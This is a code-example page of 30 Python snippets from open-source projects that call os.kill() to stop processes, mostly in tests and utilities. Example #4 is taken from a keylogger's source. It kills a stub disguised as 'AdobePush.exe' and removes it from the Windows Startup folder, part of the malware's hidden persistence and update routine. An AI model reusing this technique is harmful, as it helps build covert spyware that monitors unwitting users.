Python os.kill() Examples

The following are 30 code examples of os.kill(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module os , or try the search function .
Example #1
Source File: background.py    From wechat-alfred-workflow with MIT License 7 votes vote down vote up
def kill(name, sig=signal.SIGTERM):
    """Send a signal to job ``name`` via :func:`os.kill`.

    .. versionadded:: 1.29

    Args:
        name (str): Name of the job
        sig (int, optional): Signal to send (default: SIGTERM)

    Returns:
        bool: `False` if job isn't running, `True` if signal was sent.
    """
    pid = _job_pid(name)
    if pid is None:
        return False

    os.kill(pid, sig)
    return True 
Example #2
Source File: background.py    From gist-alfred with MIT License 7 votes vote down vote up
def kill(name, sig=signal.SIGTERM):
    """Send a signal to job ``name`` via :func:`os.kill`.

    .. versionadded:: 1.29

    Args:
        name (str): Name of the job
        sig (int, optional): Signal to send (default: SIGTERM)

    Returns:
        bool: `False` if job isn't running, `True` if signal was sent.
    """
    pid = _job_pid(name)
    if pid is None:
        return False

    os.kill(pid, sig)
    return True 
Example #3
Source File: gen.py    From multibootusb with GNU General Public License v2.0 7 votes vote down vote up
def process_exist(process_name):
    """
    Detect if process exist/ running and kill it.
    :param process_name: process name to check
    :return: True if processis killed else False
    """
    if platform.system() == 'Windows':
        import signal
        import wmi
        c = wmi.WMI()
        for process in c.Win32_Process():
            if process_name in process.Name:
                log(process_name + ' exist...')
                log(str(process.ProcessId) + ' ' + str(process.Name))
                log("Having Windows explorer won't allow dd.exe to write ISO image properly."
                      "\nKilling the process..")
                try:
                    os.kill(process.ProcessId, signal.SIGTERM)
                    return True
                except:
                    log('Unable to kill process ' + str(process.ProcessId))

    return False 
Example #4
Source File: Radiumkeylogger.py    From Radium with Apache License 2.0 6 votes vote down vote up
def deleteoldstub():
    checkfilename = 'AdobePush.exe'     #The exe in the startup will be saved by the name of AdobePush. When the exe will be updated the old exe will be deleted.
    checkdir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
    dircontent = os.listdir(checkdir)

    try:
        try:
            pids = getpid('AdobePush.exe')
            for id in pids:
                os.kill(int(id), signal.SIGTERM)
        except Exception as e:
            print e

        if checkfilename in dircontent:
            os.remove(checkdir + checkfilename)
    except Exception as e:
        print e

#Function to copy the exe to startup 
Example #5
Source File: test_states.py    From cherrypy with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def test_SIGHUP_tty(self):
        # When not daemonized, SIGHUP should shut down the server.
        try:
            from signal import SIGHUP
        except ImportError:
            return self.skip('skipped (no SIGHUP) ')

        # Spawn the process.
        p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'))
        p.write_conf(
            extra='test_case_name: "test_SIGHUP_tty"')
        p.start(imports='cherrypy.test._test_states_demo')
        # Send a SIGHUP
        os.kill(p.get_pid(), SIGHUP)
        # This might hang if things aren't working right, but meh.
        p.join() 
Example #6
Source File: test_states.py    From cherrypy with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def test_SIGTERM(self):
        'SIGTERM should shut down the server whether daemonized or not.'
        self._require_signal_and_kill('SIGTERM')

        # Spawn a normal, undaemonized process.
        p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'))
        p.write_conf(
            extra='test_case_name: "test_SIGTERM"')
        p.start(imports='cherrypy.test._test_states_demo')
        # Send a SIGTERM
        os.kill(p.get_pid(), signal.SIGTERM)
        # This might hang if things aren't working right, but meh.
        p.join()

        if os.name in ['posix']:
            # Spawn a daemonized process and test again.
            p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'),
                                 wait=True, daemonize=True)
            p.write_conf(
                extra='test_case_name: "test_SIGTERM_2"')
            p.start(imports='cherrypy.test._test_states_demo')
            # Send a SIGTERM
            os.kill(p.get_pid(), signal.SIGTERM)
            # This might hang if things aren't working right, but meh.
            p.join() 
Example #7
Source File: test_gipc.py    From gipc with MIT License 6 votes vote down vote up
def test_lock_out_of_context_single(self):
        r, w = pipe()
        g = gevent.spawn(lambda r: r.get(), r)
        gevent.sleep(SHORTTIME)
        with raises(GIPCLocked):
            with r:
                pass
                # The context manager can't close `r`, as it is locked in `g`.
        g.kill(block=False)
        # Ensure killing via 'context switch', i.e. yield control to other
        # coroutines (otherwise the subsequent close attempt will fail with
        # `GIPCLocked` error).
        gevent.sleep(-1)
        # Close writer first. otherwise, `os.close(r._fd)` would block on Win.
        w.close()
        r.close() 
Example #8
Source File: command.py    From Paradrop with Apache License 2.0 6 votes vote down vote up
def __init__(self, pid, parent=None):
        """
        Create a kill command

        The pid argument can either be a real pid (e.g. kill 12345) or a path
        to a file containing the pid.

        If the pid is coming from a file, it will be resolved at the time that
        execute is called.  Before that time, the command will be stored
        internally as ["kill", "/path/to/file"].  This is not a real command,
        but it is meaningful if you print the command object.
        """
        # This will not be a valid command if pid is a file path.
        command = ["kill", pid]

        super(KillCommand, self).__init__(command, parent)

        # Is it a numeric pid or a path to a pid file?
        try:
            self.pid = int(pid)
            self.fromFile = False
        except ValueError:
            self.pid = pid
            self.fromFile = True 
Example #9
Source File: command.py    From Paradrop with Apache License 2.0 6 votes vote down vote up
def execute(self):
        pid = self.getPid()

        if pid is None:
            self.result = 0
            return True

        try:
            retval = kill(pid)
            self.result = 0
            out.info('Command "kill {}" returned {}\n'.format(pid, retval))
        except Exception as e:
            out.info('Command "kill {}" raised exception {}\n'.format(pid, e))
            self.result = e

        return (self.result == 0) 
Example #10
Source File: test_break.py    From jawfish with MIT License 6 votes vote down vote up
def testInterruptCaught(self):
        default_handler = signal.getsignal(signal.SIGINT)

        result = unittest.TestResult()
        unittest.installHandler()
        unittest.registerResult(result)

        self.assertNotEqual(signal.getsignal(signal.SIGINT), default_handler)

        def test(result):
            pid = os.getpid()
            os.kill(pid, signal.SIGINT)
            result.breakCaught = True
            self.assertTrue(result.shouldStop)

        try:
            test(result)
        except KeyboardInterrupt:
            self.fail("KeyboardInterrupt not handled")
        self.assertTrue(result.breakCaught) 
Example #11
Source File: test_break.py    From jawfish with MIT License 6 votes vote down vote up
def testSecondInterrupt(self):
        result = unittest.TestResult()
        unittest.installHandler()
        unittest.registerResult(result)

        def test(result):
            pid = os.getpid()
            os.kill(pid, signal.SIGINT)
            result.breakCaught = True
            self.assertTrue(result.shouldStop)
            os.kill(pid, signal.SIGINT)
            self.fail("Second KeyboardInterrupt not raised")

        try:
            test(result)
        except KeyboardInterrupt:
            pass
        else:
            self.fail("Second KeyboardInterrupt not raised")
        self.assertTrue(result.breakCaught) 
Example #12
Source File: test_break.py    From jawfish with MIT License 6 votes vote down vote up
def testTwoResults(self):
        unittest.installHandler()

        result = unittest.TestResult()
        unittest.registerResult(result)
        new_handler = signal.getsignal(signal.SIGINT)

        result2 = unittest.TestResult()
        unittest.registerResult(result2)
        self.assertEqual(signal.getsignal(signal.SIGINT), new_handler)

        result3 = unittest.TestResult()

        def test(result):
            pid = os.getpid()
            os.kill(pid, signal.SIGINT)

        try:
            test(result)
        except KeyboardInterrupt:
            self.fail("KeyboardInterrupt not handled")

        self.assertTrue(result.shouldStop)
        self.assertTrue(result2.shouldStop)
        self.assertFalse(result3.shouldStop) 
Example #13
Source File: cloud_tpu.py    From fine-lm with MIT License 6 votes vote down vote up
def shell_background(cmd_, **kwargs):
  """Run process in background, join on exit."""
  args = format_cmd(cmd_, **kwargs)
  process = sp.Popen(args)
  try:
    yield process
  finally:
    if process.poll() is None:
      process.terminate()
      time.sleep(1)
    if process.poll() is None:
      process.kill()
      time.sleep(1)
    if process.poll() is None:
      raise ValueError(
          "Cannot kill process %d - please kill manually" % process.pid)
    time.sleep(1) 
Example #14
Source File: test_break.py    From jawfish with MIT License 6 votes vote down vote up
def testHandlerReplacedButCalled(self):
        # If our handler has been replaced (is no longer installed) but is
        # called by the *new* handler, then it isn't safe to delay the
        # SIGINT and we should immediately delegate to the default handler
        unittest.installHandler()

        handler = signal.getsignal(signal.SIGINT)
        def new_handler(frame, signum):
            handler(frame, signum)
        signal.signal(signal.SIGINT, new_handler)

        try:
            pid = os.getpid()
            os.kill(pid, signal.SIGINT)
        except KeyboardInterrupt:
            pass
        else:
            self.fail("replaced but delegated handler doesn't raise interrupt") 
Example #15
Source File: test_async.py    From chainerrl with MIT License 6 votes vote down vote up
def test_run_async_exit_code(self):

        def run_with_exit_code_0(process_idx):
            sys.exit(0)

        def run_with_exit_code_11(process_idx):
            os.kill(os.getpid(), signal.SIGSEGV)

        with warnings.catch_warnings(record=True) as ws:
            async_.run_async(4, run_with_exit_code_0)
            # There should be no AbnormalExitWarning
            self.assertEqual(
                sum(1 if issubclass(
                    w.category, async_.AbnormalExitWarning) else 0
                    for w in ws), 0)

        with warnings.catch_warnings(record=True) as ws:
            async_.run_async(4, run_with_exit_code_11)
            # There should be 4 AbnormalExitWarning
            self.assertEqual(
                sum(1 if issubclass(
                    w.category, async_.AbnormalExitWarning) else 0
                    for w in ws), 4) 
Example #16
Source File: test_gipc.py    From gipc with MIT License 6 votes vote down vote up
def test_lock_out_of_context_pair(self):
        with raises(GIPCLocked):
            with pipe(True) as (h1, h2):
                # Write more to pipe than pipe buffer can hold
                # (makes `put` block when there is no reader).
                # Buffer is quite large on Windows.
                gw = gevent.spawn(lambda h: h.put(LONGERTHANBUFFER), h1)
                gevent.sleep(SHORTTIME)
                # Context manager tries to close h2 reader, h2 writer, and
                # h1 writer first. Fails upon latter, must still close
                # h1 reader after that.
        assert not h1._writer._closed
        assert h1._reader._closed
        assert h2._writer._closed
        assert h2._reader._closed
        # Kill greenlet (free lock on h1 writer), close h1 writer.
        gw.kill(block=False)
        gevent.sleep(-1)
        h1.close()
        assert h1._writer._closed 
Example #17
Source File: process_test.py    From tornado-zh with MIT License 5 votes vote down vote up
def test_subprocess(self):
        if IOLoop.configured_class().__name__.endswith('LayeredTwistedIOLoop'):
            # This test fails non-deterministically with LayeredTwistedIOLoop.
            # (the read_until('\n') returns '\n' instead of 'hello\n')
            # This probably indicates a problem with either TornadoReactor
            # or TwistedIOLoop, but I haven't been able to track it down
            # and for now this is just causing spurious travis-ci failures.
            raise unittest.SkipTest("Subprocess tests not compatible with "
                                    "LayeredTwistedIOLoop")
        subproc = Subprocess([sys.executable, '-u', '-i'],
                             stdin=Subprocess.STREAM,
                             stdout=Subprocess.STREAM, stderr=subprocess.STDOUT,
                             io_loop=self.io_loop)
        self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM))
        subproc.stdout.read_until(b'>>> ', self.stop)
        self.wait()
        subproc.stdin.write(b"print('hello')\n")
        subproc.stdout.read_until(b'\n', self.stop)
        data = self.wait()
        self.assertEqual(data, b"hello\n")

        subproc.stdout.read_until(b">>> ", self.stop)
        self.wait()
        subproc.stdin.write(b"raise SystemExit\n")
        subproc.stdout.read_until_close(self.stop)
        data = self.wait()
        self.assertEqual(data, b"") 
Example #18
Source File: process_test.py    From tornado-zh with MIT License 5 votes vote down vote up
def test_sigchild_signal(self):
        skip_if_twisted()
        Subprocess.initialize(io_loop=self.io_loop)
        self.addCleanup(Subprocess.uninitialize)
        subproc = Subprocess([sys.executable, '-c',
                              'import time; time.sleep(30)'],
                             io_loop=self.io_loop)
        subproc.set_exit_callback(self.stop)
        os.kill(subproc.pid, signal.SIGTERM)
        ret = self.wait()
        self.assertEqual(subproc.returncode, ret)
        self.assertEqual(ret, -signal.SIGTERM) 
Example #19
Source File: pp_support.py    From me-ica with GNU Lesser General Public License v2.1 5 votes vote down vote up
def _shutdown(self):
        """Shutdown all slaves."""
        for ssh_proc in self._ssh_procs:
            os.kill(ssh_proc.pid, signal.SIGQUIT)
        super(NetworkPPScheduler, self)._shutdown()
        if self.verbose:
            print "All slaves shut down." 
Example #20
Source File: process_test.py    From tornado-zh with MIT License 5 votes vote down vote up
def test_close_stdin(self):
        # Close the parent's stdin handle and see that the child recognizes it.
        subproc = Subprocess([sys.executable, '-u', '-i'],
                             stdin=Subprocess.STREAM,
                             stdout=Subprocess.STREAM, stderr=subprocess.STDOUT,
                             io_loop=self.io_loop)
        self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM))
        subproc.stdout.read_until(b'>>> ', self.stop)
        self.wait()
        subproc.stdin.close()
        subproc.stdout.read_until_close(self.stop)
        data = self.wait()
        self.assertEqual(data, b"\n") 
Example #21
Source File: fig18_15.py    From PythonClassBook with GNU General Public License v3.0 5 votes vote down vote up
def parentInterruptHandler( signum, frame ):
   global pid
   global parentKeepRunning

   # send kill signal to child process and exit
   os.kill( pid, signal.SIGKILL )  # send kill signal
   print "Interrupt received. Child process killed."

   # allow parent process to terminate normally
   parentKeepRunning = 0

# set parent's handler for SIGINT 
Example #22
Source File: test_gipc.py    From gipc with MIT License 5 votes vote down vote up
def test_lock_out_of_context_pair_2(self):
        with raises(GIPCLocked):
            with pipe() as (r, w):
                gr = gevent.spawn(lambda r: r.get(), r)
                gevent.sleep(SHORTTIME)
                # Context manager tries to close writer first, succeeds,
                # and fails during closing reader.
        gr.kill(block=False)
        gevent.sleep(-1)
        r.close() 
Example #23
Source File: model_server.py    From sagemaker-xgboost-container with Apache License 2.0 5 votes vote down vote up
def _add_sigterm_handler(mms_process):
    def _terminate(signo, frame):
        try:
            os.kill(mms_process.pid, signal.SIGTERM)
        except OSError:
            pass

    signal.signal(signal.SIGTERM, _terminate) 
Example #24
Source File: process_test.py    From tornado-zh with MIT License 5 votes vote down vote up
def get_app(self):
        class ProcessHandler(RequestHandler):
            def get(self):
                if self.get_argument("exit", None):
                    # must use os._exit instead of sys.exit so unittest's
                    # exception handler doesn't catch it
                    os._exit(int(self.get_argument("exit")))
                if self.get_argument("signal", None):
                    os.kill(os.getpid(),
                            int(self.get_argument("signal")))
                self.write(str(os.getpid()))
        return Application([("/", ProcessHandler)]) 
Example #25
Source File: process_test.py    From tornado-zh with MIT License 5 votes vote down vote up
def test_subprocess(self):
        if IOLoop.configured_class().__name__.endswith('LayeredTwistedIOLoop'):
            # This test fails non-deterministically with LayeredTwistedIOLoop.
            # (the read_until('\n') returns '\n' instead of 'hello\n')
            # This probably indicates a problem with either TornadoReactor
            # or TwistedIOLoop, but I haven't been able to track it down
            # and for now this is just causing spurious travis-ci failures.
            raise unittest.SkipTest("Subprocess tests not compatible with "
                                    "LayeredTwistedIOLoop")
        subproc = Subprocess([sys.executable, '-u', '-i'],
                             stdin=Subprocess.STREAM,
                             stdout=Subprocess.STREAM, stderr=subprocess.STDOUT,
                             io_loop=self.io_loop)
        self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM))
        subproc.stdout.read_until(b'>>> ', self.stop)
        self.wait()
        subproc.stdin.write(b"print('hello')\n")
        subproc.stdout.read_until(b'\n', self.stop)
        data = self.wait()
        self.assertEqual(data, b"hello\n")

        subproc.stdout.read_until(b">>> ", self.stop)
        self.wait()
        subproc.stdin.write(b"raise SystemExit\n")
        subproc.stdout.read_until_close(self.stop)
        data = self.wait()
        self.assertEqual(data, b"") 
Example #26
Source File: process_test.py    From tornado-zh with MIT License 5 votes vote down vote up
def test_close_stdin(self):
        # Close the parent's stdin handle and see that the child recognizes it.
        subproc = Subprocess([sys.executable, '-u', '-i'],
                             stdin=Subprocess.STREAM,
                             stdout=Subprocess.STREAM, stderr=subprocess.STDOUT,
                             io_loop=self.io_loop)
        self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM))
        subproc.stdout.read_until(b'>>> ', self.stop)
        self.wait()
        subproc.stdin.close()
        subproc.stdout.read_until_close(self.stop)
        data = self.wait()
        self.assertEqual(data, b"\n") 
Example #27
Source File: process_test.py    From tornado-zh with MIT License 5 votes vote down vote up
def test_stderr(self):
        subproc = Subprocess([sys.executable, '-u', '-c',
                              r"import sys; sys.stderr.write('hello\n')"],
                             stderr=Subprocess.STREAM,
                             io_loop=self.io_loop)
        self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM))
        subproc.stderr.read_until(b'\n', self.stop)
        data = self.wait()
        self.assertEqual(data, b'hello\n') 
Example #28
Source File: process_test.py    From tornado-zh with MIT License 5 votes vote down vote up
def test_sigchild_signal(self):
        skip_if_twisted()
        Subprocess.initialize(io_loop=self.io_loop)
        self.addCleanup(Subprocess.uninitialize)
        subproc = Subprocess([sys.executable, '-c',
                              'import time; time.sleep(30)'],
                             io_loop=self.io_loop)
        subproc.set_exit_callback(self.stop)
        os.kill(subproc.pid, signal.SIGTERM)
        ret = self.wait()
        self.assertEqual(subproc.returncode, ret)
        self.assertEqual(ret, -signal.SIGTERM) 
Example #29
Source File: test_gipc.py    From gipc with MIT License 5 votes vote down vote up
def test_lock_out_of_context_pair(self):
        with raises(GIPCLocked):
            with pipe() as (r, w):
                # Fill up pipe and try to write more than pipe can hold
                # (makes `put` block when there is no reader).
                # Buffer is quite large on Windows.
                gw = gevent.spawn(lambda w: w.put(LONGERTHANBUFFER), w)
                gevent.sleep(SHORTTIME)
                # Context manager tries to close writer first, fails,
                # and must close reader nevertheless.
        # Kill greenlet (free lock on writer) and close writer.
        gw.kill(block=False)
        gevent.sleep(-1)
        w.close() 
Example #30
Source File: process_test.py    From tornado-zh with MIT License 5 votes vote down vote up
def test_stderr(self):
        subproc = Subprocess([sys.executable, '-u', '-c',
                              r"import sys; sys.stderr.write('hello\n')"],
                             stderr=Subprocess.STREAM,
                             io_loop=self.io_loop)
        self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM))
        subproc.stderr.read_until(b'\n', self.stop)
        data = self.wait()
        self.assertEqual(data, b'hello\n')